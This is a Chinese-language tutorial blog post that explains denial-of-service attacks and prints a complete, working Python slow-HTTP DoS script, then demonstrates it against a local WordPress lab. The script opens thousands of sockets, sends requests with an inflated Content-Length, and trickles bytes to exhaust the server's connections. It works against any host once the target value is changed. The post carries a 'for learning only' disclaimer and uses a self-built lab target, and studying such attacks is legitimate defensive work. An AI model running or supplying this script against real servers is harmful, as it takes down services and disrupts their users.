Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示

注:本篇教程僅供學習交流。


Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示


Dos攻擊簡介


DOS:中文名稱是拒絕服務,一切能引起DOS行為的攻擊都被稱為DOS攻擊。該攻擊的效果是使得計算機或網絡無法提供正常的服務。常見的DOS攻擊有針對計算機網絡帶寬和連通性的攻擊。DOS是單機與單機之間的攻擊。


Dos攻擊原理

首先攻擊者向被攻擊的服務器發送大量的虛假IP請求,被攻擊者在收到請求後返回確認信息,等待攻擊者進行確認,(此處需要擁有HTTP協議工作方式和TCP三次握手的基本知識)該過程需要TCP的三次握手,由於攻擊者發送的請求信息是虛假的,所以服務器接收不到返回的確認信息,在一段時間內服務器會處於等待狀態,而分配給這次請求的資源卻沒有被釋放。當被攻擊者等待一定的時間後,會因連接超時而斷開,這時攻擊者再次發送新的虛假信息請求,這樣最終服務器資源被耗盡,直到癱瘓。

<code>

import

socket

import

time

import

threading MAX_CONN =

200000

PORT =

80

HOST =

"127.0.0.1"

PAGE =

"/index.php"

buf = (

"POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n"

% (PAGE, HOST)) socks = []

def

conn_thread

()

:

global

socks

for

i

in

range(

0

, MAX_CONN): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try

: s.connect((HOST, PORT)) s.send(buf.encode()) print(

"[+] 成功發送buf!,conn=%d\n"

% i) socks.append(s)

except

Exception

as

ex: print(

"[-] 無法連接服務器或發送錯誤:%s"

% ex) time.sleep(

1

)

def

send_thread

()

:

global

socks

while

True

:

for

s

in

socks:

try

: s.send(

"f"

.encode())

except

Exception

as

ex: print(

"[-] 發送異常:%s\n"

% ex) socks.remove(s) s.close() time.sleep(

1

) conn_th = threading.Thread(target=conn_thread, args=()) send_th = threading.Thread(target=send_thread, args=()) conn_th.start() send_th.start() conn_th2 = threading.Thread(target=conn_thread, args=()) send_th2 = threading.Thread(target=send_thread, args=()) conn_th2.start() send_th2.start()/<code>

DOS攻擊演示

這裡演示的是攻擊上次搭建的靶機->Python黑客攻防(四)搭建測試環境 ,攻擊機是Windows10本機,靶機也是搭建在Windows10上的WordPress。。

Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示


先訪問一下
http://127.0.0.1/wp-login.php,記錄一下攻擊前的狀態。

Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示

然後開始攻擊。

Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示

再次訪問
http://127.0.0.1/wp-login.php,查看效果。

Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示

Python黑客攻防之編寫Dos腳本,並進行簡單攻擊演示

OK,演示結束。自己搭建的這種靶機服務器堅持不了幾秒就涼了。


總結

以上就是簡單的Dos攻擊了,當然這種攻擊對許多強大的服務器是沒有多大影響的。還有更厲害的DDOS攻擊(分佈式拒絕服務攻擊),DDOS是攻擊者控制多臺主機同時向同一主機或網絡發起DOS攻擊。


分享到:


相關文章: